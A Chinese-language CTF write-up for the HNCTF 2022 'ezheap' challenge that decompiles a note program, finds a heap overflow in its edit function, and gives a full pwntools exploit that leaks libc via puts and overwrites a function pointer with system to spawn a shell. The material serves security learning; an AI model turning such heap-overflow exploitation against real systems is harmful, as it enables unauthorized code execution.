Featured image of post HNCTF_2022_WEEK4 Ezheap

HNCTF_2022_WEEK4 Ezheap

字数: 2060

题面

压缩包:

1
2
3
4
5
6
7
Archive:  ezheap.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
  1868984  2022-10-12 22:33   libc-2.23.so
    17456  2022-10-24 00:30   ezheap
---------                     -------
  1886440                     2 files

带 libc

分析

首先用 glibc-all-in-one 重新 patchelf。

checksec 看保护全开。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ pwn checksec ./ezheap
[*] '/data/project/ctf-repo/pwn/nssctf/HNCTF_2022_WEEK4-ezheap/ezheap'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

ida pro 静态分析:

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  init_env(argc, argv, envp);
  puts("Easy Note.");
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = getnum();
      if ( v3 != 4 )
        break;
      edit();
    }
    if ( v3 > 4 )
    {
LABEL_13:
      puts("Invalid!");
    }
    else if ( v3 == 3 )
    {
      show();
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_13;
      if ( v3 == 1 )
      {
        add();
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_13;
        delete();
      }
    }
  }
}

简易记事本。

getnum()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
int getnum()
{
  char s[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(s, 0, sizeof(s));
  read(0, s, 0x17u);
  return atoi(s);
}

add()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int add()
{
  __int64 v0; // rbx
  __int64 v1; // rax
  int v3; // [rsp+0h] [rbp-20h]
  int v4; // [rsp+4h] [rbp-1Ch]

  puts("Input your idx:");
  v3 = getnum();
  puts("Size:");
  v4 = getnum();
  if ( (unsigned int)v4 > 0x100 )
  {
    LODWORD(v1) = puts("Invalid!");
  }
  else
  {
    heaplist[v3] = malloc(0x20u);
    if ( !heaplist[v3] )
    {
      puts("Malloc Error!");
      exit(1);
    }
    v0 = heaplist[v3];
    *(_QWORD *)(v0 + 16) = malloc(v4);
    *(_QWORD *)(heaplist[v3] + 32LL) = &puts;
    if ( !*(_QWORD *)(heaplist[v3] + 16LL) )
    {
      puts("Malloc Error!");
      exit(1);
    }
    sizelist[v3] = v4;
    puts("Name: ");
    if ( !(unsigned int)read(0, (void *)heaplist[v3], 0x10u) )
    {
      puts("Something error!");
      exit(1);
    }
    puts("Content:");
    if ( !(unsigned int)read(0, *(void **)(heaplist[v3] + 16LL), sizelist[v3]) )
    {
      puts("Error!");
      exit(1);
    }
    puts("Done!");
    v1 = heaplist[v3];
    *(_DWORD *)(v1 + 24) = 1;
  }
  return v1;
}

heaplist 为在 .bss 段的指针数组,存储每块 notes 的首 chunk 地址。
sizelist 也在 .bss 段,用来存储 contents chunk 大小。

读取索引,这里对索引 v3 没有限制。但是在之后查询修改会限制 v3 在 0~0x10 之间。
读取内容大小用于之后 malloc。
这里通过 add 创建一个 name 和 content 都为 A 的 note,其的堆排布如下:

可以看出一次 add 会分配两个 chunk。第一个 chunk:

1
2
3
4
5
6
7
    heaplist[v3] = malloc(0x20u);
    if ( !heaplist[v3] )
    {
      puts("Malloc Error!");
      exit(1);
    }
    v0 = heaplist[v3];

第一个 chunk 请求 0x20 字节,实际分配 0x28 字节。
前 0x10 字节为姓名块:

1
2
3
4
5
6
    puts("Name: ");
    if ( !(unsigned int)read(0, (void *)heaplist[v3], 0x10u) )
    {
      puts("Something error!");
      exit(1);
    }

可以看出确实是 0x10 字节。

接下来 0x10 ~ 0x18 这 8 字节放内容 chunk 的地址,0x18 ~ 0x20 为 64 位 int 的 1 填充。
最后 8 字节:0x21 ~ 0x28 为 puts 的地址。
如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
*(_QWORD *)(v0 + 16) = malloc(v4);
*(_QWORD *)(heaplist[v3] + 32LL) = &puts;
if ( !*(_QWORD *)(heaplist[v3] + 16LL) )
{
  puts("Malloc Error!");
  exit(1);
}
...
v1 = heaplist[v3];
*(_DWORD *)(v1 + 24) = 1;

第二个 chunk 在上面第一行的时候申请,按 v4 也就是上面的 size 进行申请。

1
2
3
4
5
if ( !(unsigned int)read(0, *(void **)(heaplist[v3] + 16LL), sizelist[v3]) )
{
  puts("Error!");
  exit(1);
}

这里放入 puts 本身就是一个很大的利用点。

delete()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_QWORD *delete()
{
  _QWORD *result; // rax
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 <= 0x10 && *(_DWORD *)(heaplist[v1] + 24LL) )
  {
    free(*(void **)(heaplist[v1] + 16LL));
    free((void *)heaplist[v1]);
    sizelist[v1] = 0;
    *(_DWORD *)(heaplist[v1] + 24LL) = 0;
    *(_QWORD *)(heaplist[v1] + 16LL) = 0;
    result = heaplist;
    heaplist[v1] = 0;
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
  return result;
}

主要是 free 掉索引下的两个 chunk 然后将 heaplist, sizelist 对应项置零防止 UAF。

show()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
__int64 show()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 < 0x10 && heaplist[v1] )
  {
    (*(void (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(heaplist[v1]);
    return (*(__int64 (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(*(_QWORD *)(heaplist[v1] + 16LL));
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
}

调用两次 heaplist[v1]+32 也就是 puts 函数分别打印 name 和 content。
打印 content 用的是第一个 chunks 中存放的堆地址。

这里就有做索引边界条件为 < 0x10 还有 heaplist 对应地址非零。
如果改写 puts 为 system 就可以调 shell。

edit()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
ssize_t edit()
{
  unsigned int v1; // [rsp+8h] [rbp-8h]
  unsigned int nbytes; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  puts("Size:");
  nbytes = getnum();
  if ( v1 <= 0x10 && heaplist[v1] && nbytes <= 0x100 )
    return read(0, *(void **)(heaplist[v1] + 16LL), nbytes);
  puts("Error idx!");
  return 0;
}

编辑内容,甚至可以改写内容大小。
实际业务 nbytes 只要小于 0x100 就可以无限大而不需要管实际 chunks 大小,而 chunk 本身是不会超过 0x100 的,可以做堆溢出直接改写下一个 chunk 的内容。

利用

把上面 4 个子函数的行为封装成 python 脚本函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def edit(index: int, size: int, content: bytes):
    io.recvuntil(b"Choice:")
    io.sendline(b"4")
    io.recvuntil(b"idx:")
    io.sendline(str(index).encode())
    io.recvuntil(b"Size:")
    io.sendline(str(size).encode())
    io.send(content)


def add(index: int, size: int, name: bytes, content: bytes):
    io.recvuntil(b"Choice:")
    io.sendline(b"1")
    io.recvuntil(b"idx:")
    io.sendline(str(index).encode())
    io.recvuntil(b"Size:")
    io.sendline(str(size).encode())
    io.recvuntil(b"Name:")
    io.sendline(name)
    io.recvuntil(b"Content:")
    io.sendline(content)


def show(index: int):
    io.recvuntil(b"Choice:")
    io.sendline(b"3")
    io.recvuntil(b"idx:")
    io.sendline(str(index).encode())


def delete(index: int):
    io.recvuntil(b"Choice:")
    io.sendline(b"2")
    io.recvuntil(b"idx:")
    io.sendline(str(index).encode())

根据上面的分析,可以知道 show 读 contents 的时候是根据 heaplist[v1] + 16 这个位置确定 contents 内容的。该块可以当成一个 (char *)。

而 edit 函数又可以做堆溢出可以尝试改写这块地址,甚至只需要一个 off by one 就能行。

先分配 3 个 notes 看看堆空间情况:

做几轮动调发现最后两位都是一样的,第 2 个 note 的 puts 地址放在 0x80 这个位置,如果改写第一个 note(实际索引为 0 ) 的第一个 chunk 的 content 堆地址指向 0x80 那块,再 show(0) 就可以拿到 puts 地址。
本题已经提供了 libc ,到此就可以拿到 libc 基址。

1
2
3
4
5
6
7
add(0, 0x10, b"A", b"A")
add(1, 0x10, b"B", b"B")
payload = b'\x00'*0x18 + p64(0x31) + b'\x00'*0x10 + b'\x80'
edit(0, 0x31, payload)
show(1)

puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))

这里 payload 构造为 0x18 覆盖 0 的 contents,之后 0x31 覆盖掉 1 的 chunk 结构体的 size 段,之后再拿 0x00 覆盖 name 段最后一个 0x80 覆盖堆地址的首位,这样就便宜到 puts 地址。
接下来用 recvuntil 接收再计算 libc base 和 system。
拿到 libc 基址,可以再通过 edit(0) 改掉索引为 1 的 note 中的 puts 地址和 name 内容。构造出 system("/bin/sh") 再通过 show 直接拿到 shell。

1
2
3
payload = p64(0) * 3 + p64(0x31) +b"/bin/sh\x00" +p64(0) * 2 + p64(1) + p64(system)
edit(0, 0x48, payload)
show(1)

这里和上面大差不差,只不过 name 段变成了 /bin/sh ,而后将堆地址覆盖,后面那个 p64 不用管,为了确保完整还是用 add 方式的 1 来覆盖最后改写 puts 地址为 system。
之后调用 show(1) 就会直接跑 system 函数进入 shell。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

context(os="linux", arch="amd64", log_level="debug")
io = process("./ezheap")
#io = remote('node5.anna.nssctf.cn', 23338)
#context.gdb_binary = "/bin/pwndbg"

libc = ELF("./libc.so.6")


def edit(index: int, size: int, content: bytes):
    io.recvuntil(b"Choice:")
    io.sendline(b"4")
    io.recvuntil(b"idx:")
    io.sendline(str(index).encode())
    io.recvuntil(b"Size:")
    io.sendline(str(size).encode())
    io.send(content)


def add(index: int, size: int, name: bytes, content: bytes):
    io.recvuntil(b"Choice:")
    io.sendline(b"1")
    io.recvuntil(b"idx:")
    io.sendline(str(index).encode())
    io.recvuntil(b"Size:")
    io.sendline(str(size).encode())
    io.recvuntil(b"Name:")
    io.sendline(name)
    io.recvuntil(b"Content:")
    io.sendline(content)


def show(index: int):
    io.recvuntil(b"Choice:")
    io.sendline(b"3")
    io.recvuntil(b"idx:")
    io.sendline(str(index).encode())


def delete(index: int):
    io.recvuntil(b"Choice:")
    io.sendline(b"2")
    io.recvuntil(b"idx:")
    io.sendline(str(index).encode())


add(0, 0x10, b"A", b"A")
add(1, 0x10, b"B", b"B")
payload = b'\x00'*0x18 + p64(0x31) + b'\x00'*0x10 + b'\x80'
edit(0, 0x31, payload)
show(1)

puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


print("puts address = ", hex(puts_addr))
libcBase = puts_addr - libc.sym["puts"]
print("libc base address = ", hex(libcBase))

system = libcBase + libc.sym["system"]
print("system address = ", hex(system))

payload = p64(0) * 3 + p64(0x31) +b"/bin/sh\x00" +p64(0) * 2 + p64(1) + p64(system)
edit(0, 0x48, payload)
show(1)

io.interactive()